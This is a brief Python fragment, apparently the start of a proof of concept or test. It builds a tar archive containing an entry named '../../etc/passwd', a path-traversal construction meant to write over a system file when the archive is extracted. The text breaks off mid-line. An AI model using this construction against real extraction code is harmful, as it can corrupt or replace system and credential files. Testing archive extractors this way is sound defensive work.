import tarfile with tarfile.open('test.tar', 'w') as tar: tarinfo = tarfile.TarInfo(name='../../etc/passwd') tarinfo.size = 0 # 设置文件大小 t